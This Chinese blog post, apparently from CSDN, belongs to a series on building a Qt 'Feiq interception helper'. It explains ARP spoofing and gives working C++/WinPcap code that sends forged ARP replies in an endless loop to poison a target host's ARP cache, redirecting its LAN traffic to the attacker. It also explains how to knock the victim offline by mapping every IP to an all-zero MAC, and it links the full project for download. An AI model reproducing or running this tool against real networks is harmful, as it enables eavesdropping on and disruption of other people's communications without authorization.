Qt：Qt实现飞秋拦截助手—ARP攻击

素颜马尾好姑娘i 2022-04-08 08:52 494阅读 0赞

# Qt实现飞秋拦截助手—ARP攻击 #

## 前言 ##

继续我们的飞秋拦截助手开发，上篇是[Qt：Qt实现飞秋拦截助手—Mac地址扫描器][Qt_Qt_Mac] ，本篇将介绍 如何进行**ARP攻击，也叫ARP欺骗**。  
我们知道本机有个ARP缓存表 存储的是IP地址和物理地址的映射 IP\_A -> MAC\_A 是一一对应的。我们这里还是拿 A、B、C 3台主机做比喻，A和B通信，C是攻击者。  
**ARP攻击 就是，主机C 一直给 攻击目标A发送ARP应答包，告诉他 我是IP\_B，我的物理地址是MAC\_C，然后 主机 A 就会更新 本机ARP缓存 IP\_B ->MAC\_C。这样当主机A 上层应用想给 主机B 发送消息，进行组包后 在网卡层 目的mac本应该是MAC\_B但是已经被我们的ARP攻击一直欺骗着，这样消息 就不会发送到MAC\_B 而是会发送给 攻击者MAC\_C。**

## 效果 ##

先看看效果，在说。  
这是界面，1.2是本机 也就是攻击者，1.9 是虚拟机 攻击目标，1.1是网关，1.3 1.4是2台手机。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70]  
被攻击者 虚拟机1.9的ARP缓存表 被攻击后的数据 。已经被ARP欺骗了，局域网中的IP对应的mac地址已经被替换为**攻击者的mac地址**了。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70 1]  
在看看 wireshark抓包情况  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70 2]

## 核心代码 ##

主要是 组一个 ARP应答包，一直发送给攻击者，告诉他，局域网中所有的IP对应的mac地址是 攻击者的Mac，正常的ARP缓存刷新大概是10分钟，当你刷新为正确的，我这边又给你覆盖掉了，你就没咒念了。这里ARP攻击不光可以 屏蔽局域网，你可也攻击对方让对方上不了网，怎样弄呢？将0.0.0.0 ~ 255.255.255.255的所有的IP对应的MAC地址全部替换为00:00:00:00:00:00无效的物理地址就可以了。同样是利用一直循环发送ARP应答包来实现欺骗的。  
下面是具体细节代码，底层数据包发送使用的[WinPcap库][WinPcap]，其他就是C++代码 以及根据协议组包 和qt的知识了。

void ArpAttackThread::run(){
        if( this->mAdapterHandle == nullptr){
            qDebug() << "网卡设备没有开启";
            return;
        }
        char tmp[18] = {0};
    
        // 构造ARP请求包 ，2字节及以上的 存在大小端对齐问题，需要转换为网络字节序
        ArpPackage package;
    
        // 以太网 头部
        memcpy(package.ethHead.destEthAddr,this->mAtkMacAddr,6);
        memcpy(package.ethHead.srcEthAddr,this->mCurMacAddr,6);
        package.ethHead.frameType = htons(0x0806);
    
        Utils::macToHexString(package.ethHead.srcEthAddr,tmp);
    
        // 构造ARP请求体内容
        package.arpBody.hardType = htons(1);// 以太网地址
        package.arpBody.protocolType = htons(0x0800); // IP地址
        package.arpBody.hardLen = 6;
        package.arpBody.protocolLen = 4;
        package.arpBody.op = htons(2);  // ARP应答包
    
        memcpy(package.arpBody.destEthAddr,this->mAtkMacAddr,6);
        memcpy(package.arpBody.srcEthAddr,this->mCurMacAddr,6);
        Utils::htonN(reinterpret_cast<uint8_t*>(&this->mAtkIPAddr),package.arpBody.destIpAddr,4);
    
        // 发送ARP应答包 欺骗目的主机
        while(true){
            if(this->isAttack == false)
                break;
            // 发送ARP应答包，将攻击目标 ARP缓存中的 局域网中所有的MAC地址 全部改为自己，达到ARP欺骗的目的
            // 如果想让对方 不能上网，很简单 将0.0.0.0-255.255.255.255 所有IP都给对应的MAC地址 改为无效的MAC 就能达到
            for(uint32_t ipAddr = mNetworkAddr+1; ipAddr < mBroadcastAddr; ipAddr++){
                if( ipAddr == this->mAtkIPAddr)
                    continue;
    
                struct in_addr addr;
                addr.S_un.S_addr = htonl(ipAddr);
                qDebug() << inet_ntoa( addr);
    
                Utils::htonN(reinterpret_cast<uint8_t*>(&(ipAddr)),package.arpBody.srcIpAddr,4);
                int ret = pcap_sendpacket(this->mAdapterHandle,reinterpret_cast<unsigned char*>(&package),42);
                if( ret != 0){
                    qDebug() << inet_ntoa( addr) << " 发送失败！" ;
                }
                Sleep(100);
            }
            Sleep(3000);
        }
        // 关闭设备
        pcap_close(this->mAdapterHandle);
    
        // 已经停止ARP欺骗
        emit stopDone();
    }

## 完整代码 ##

代码是接着上篇 [MAC地址扫描器][Qt_Qt_Mac]写的，这次的[完整项目这里下载][Link 1]。

[Qt_Qt_Mac]: https://blog.csdn.net/qq_29542611/article/details/84859109
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70]: /images/20220407/12c2c2bce609475c80b1d2b002dbc10c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70 1]: /images/20220407/1e8626b7824f4f9b878261ac00db812b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI5NTQyNjEx_size_16_color_FFFFFF_t_70 2]: /images/20220407/de79b369ed7c494bb7f4fb5bb82ac7b9.png
[WinPcap]: http://www.ferrisxu.com/WinPcap/html/index.html
[Link 1]: https://download.csdn.net/download/qq_29542611/10835175